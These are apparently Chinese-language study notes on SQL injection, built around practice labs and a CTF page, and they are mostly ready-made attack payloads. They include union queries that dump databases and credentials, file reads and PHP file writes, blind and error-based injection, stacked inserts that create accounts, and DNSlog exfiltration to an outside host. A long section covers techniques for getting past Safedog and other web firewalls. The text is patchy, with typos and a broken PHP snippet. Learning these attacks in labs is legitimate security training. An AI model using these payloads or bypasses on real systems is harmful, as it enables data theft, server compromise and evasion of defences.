SQL注入
sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。









判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效
order by 默认是升序
- 在mysql5.0以上版本存在一个
information_schema的数据库,它记录着所有的数据库,表明,列名。
- 数据库中“.”代表下级
select * information_schema.tables;记录所有表名where table_name=''筛选条件select * from information_schema.columns;记录所有的列名where column_name=''筛选条件wherw table_schema=''筛选条件
信息收集
- 判断数据个数order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,...
- 查询数据库 version()
- 数据库名字 databaase()
- 数据库用户 user()
- 操作系统 @@version_compile_os
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆出所有数据库
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'获取特定数据库表名
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'获取特定数据库特定表列数据
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询user的数据- md5解密等等

最新的
or不能用

1后面随便输入,页面不正常说明有注入,页面正常没有注入


文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、

-
http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3读取本地文件


http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--+本地文件写入
常见的load_file()读取的敏感信息


爆破

c:/../../../../../../..



-
magic_quotes_gpc
-
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线


#简要明确参数类型
数字,字符,搜索,JSON等
数字可以直接加在sql中
字符就要通过单双引号接入sql语句中
#简要明确请求方法|
GET, POST, COOKIE, REQUEST, HTTP头等
其中SQI语句干扰符号: ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法
-
JSON数据形式
-
curl -X POST https://api.zoomeye.org/user/login -d
{
"username": "foo@bar.com",
"password": "foobar"
}
整数型

字符型


单引号导致成为单纯字符串,毫无意义


字符肯定有,整数可能有
其中SQI语句干扰符号: ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法

需要尝试
#简要明确请求方法|
GET, POST, COOKIE, REQUEST, HTTP头等

把get请求换成post


sqliabs--less5

单引号闭合





-
json的双引号不需要闭合,需要闭合的是SQL语句中的单引号或双引号。
- a=1 and 1=1&b=2&c=3
{
"a": "1 and 1=1"
"b": "2"
"c": "3"
}
简要学习各种数据库的注入特点
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access数据库放在网站下
数据库架构组成,数据库高权限操作
简要学习各种注入工具的使用指南
熟悉工具的支持库,注入模式,优缺点等
Sqlmap, NoSQLAttack, Pangolin等
access结构
表名
列名
数据
mysql、mssql等
数据库A
表名
列名
数据
数据库B
。。。
。。。
。。。


SQLmap








https://blog.csdn.net/hack8/article/details/6427911



当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。
select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id
insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')
delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id
update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'
order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断
regexp, like, ascii, left, ord, mid
基于时间的SQL盲注-延时判断
if, sleep
基于报错的SQL盲注-报错回显
floor, updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
参考:
like 'ro%' #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #sQI语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的asci i码是否等于97
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

针对无回显的布尔、延迟
mysql_fetch_array:无回显函数
延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
- 数据库是security就延时5秒,否则不延迟
http://sqli-labs:8600/Less-2/?id=1 and sleep(if(database()= 'security',5,0))--+
- 判断数据库位数
http://sqli-labs:8600/Less-2/?id=1%20and%20sleep(if(length(database())=8,5,0))--+
ccess偏移注入:解决列名获取不到的情况 查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况
SQL注入之二次,加解密,DNS等注入
DNSlog:解决了盲注不能回显数据,效率低的问题
二次注入


- 第一个是原有的,第二个是我们注册的,当我们修改第二个的密码的时候,由于存在
‘#,数据库会判断错误,相当于修改了第一个的密码。




注册用户

修改密码



修改密码后,利用了update





报错update注入

长度限制:前端、后端
前端:修改前端代码长度限制
后端:不行

- DNSlog可以解决无回显问题
mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);Empty set (21.14 sec)
将url和注入语句分开
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload;
file_get_contents($urls);
echo $urls;
?>
http:/ceye.io/ https://github.com/ADOOO/DnslogSqlinj

SQL注入之堆叠及WAF绕过注入
- 堆叠注入:就是一堆sql语句一起执行,语句中一个 ; 表示语句结束,那多个语句连接到一起执行。
堆叠注入
- 注入需要管理员帐号密码,密码是加密,无法解密
- 堆叠注入时插入数据,用户密码自定义的,可以正常解密登录
特殊符号
- 某些符号并不影响sql语句执行,但可以绕过waf检测

- Sqlilabs-Less38-堆叠注入(多语句)
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+ 查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+ 查询密码账户
堆叠注入
(1)修改参数为?id=1';insert into users(id,username,password) values (100,'good','good')--+。
(2)验证是否插入成功,修改命令为?id=100,查询结果如下,实验成功。
- 在SQL数据库中,每条语句是以
;分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。
与union联合查询注入的对比
- union联合查询注入执行的语句类型是有限的,可以用来执行查询语句。
- 堆叠注入可以执行的是任意的语句,如增删改等。
- 另外的,如布尔盲注延时盲注等其他语句也可以并到多语句中执行,只是没什么必要。
局限性
- 多语句执行受数据库类型、API、数据引擎的限制,有的不能实现。
- 增删改也收到用户权限的限制。






-
可以绕过安全狗

-
安全狗匹配的时候匹配的是
-
1/**-1 union select 1,2,3#*/或1/**&id=-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/能正常执行sql
-
可以换提交方式来绕过
用来绕过安全狗waf
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格
用来分割语句的符号
/*!*/
原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf
既保证语句的正常运行
又保证正常匹配
post

get


拦截,union select在一起会拦截







http://39.96.44.170/sqlilabs/Less-2/?id=-1 union%23a%0Aselect 1,2,3%23
分析:
%23————————————>#
a——————————————>a
%0A————————————>换行
此时的sql语句样式:
union #a
select 1,2,3#
其中“#”在sql语句中是注释的意思,加入“#”是为了让安全狗在匹配的时候只匹配到“union”,
但是当安全狗匹配到“#”依然不停止继续匹配时,就会匹配到“a”,依然不会进行拦截,
同时“#”也将“a”给注释掉了,因此不会对sql语句的执行产生影响,
接下来是换行,到了下一行,是为了截至让安全狗继续匹配,
如果依然继续匹配,就会匹配到“select”,但是经过上一步的实验,可以发现单独的“select”也并不会触发安全狗的拦截。
2.大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
3.各种编码
大小写,URL,hex,%0A 等
4.注释
// -- --+ # /**/ + :%00 /!**/等
5.再次循环
union==uunionnion
6.等价替换
user()=@@user() and=& or=| ascii=hex 等参数污染
?id=1&id=2&id=3
7.编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等
8.更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data
9.中间件 HPP 参数污染
<数据库特性>
1.Mysql 技巧
mysql 注释符有三种:
#、/*...*/、-- ... (注意--后面有一个空格)
空格符:
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号:
%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
内联注释:
/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540
mysql 黑魔法
select{x username}from {x11 test.admin};
2.SQL Server 技巧
用来注释掉注射后查询的其余部分:
/* C 语言风格注释
-- SQL 注释
; 00% 空字节
空白符:
[0x01-0x20]
特殊符号:
%3a 冒号
id=1 union:select 1,2 from:admin
函数变形:
如 db_name[空白字符]()
3.Oracle 技巧
注释符:
--、/**/
空白字符:
[0x00,0x09,0x0a-0x0d,0x20]
4.配合 FUZZ
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
<逻辑层>
1.逻辑问题
云 waf 防护,一般我们会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。
当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP没有防护,直接访问 HTTP 站点绕过防护。
特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
2.性能问题
猜想 1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
猜想 2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向量时超出了其缓冲区长度就会引发 bug,从而实现绕过。
例子1:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA*1000 指 0xA 后面“A”重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里 1000只做参考也许在有些情况下可能不需要这么长也能溢出。
例子2:
?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。
3.白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
X-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。



https://blog.csdn.net/weixin_39190897/article/details/115841059?ops_request_misc=&request_id=&biz_id=102&utm_term=%E7%BB%95%E8%BF%87%E5%AE%89%E5%85%A8%E7%8B%97%E7%9A%84payload&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-115841059.142^v94^chatsearchT3_1&spm=1018.2226.3001.4187

自己写的rdog


看一下数据包


拦截了


工具拦截绕过





宽字节注入详解
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。
https://chinalover.sinaapp.com/SQL-GBK/?id=1
https://chinalover.sinaapp.com/SQL-GBK/?id=1'

https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1%23%df与/组成了一个汉字綅
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,database()%23
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,(select flag from ctf4)%23

浙公网安备 33010602011771号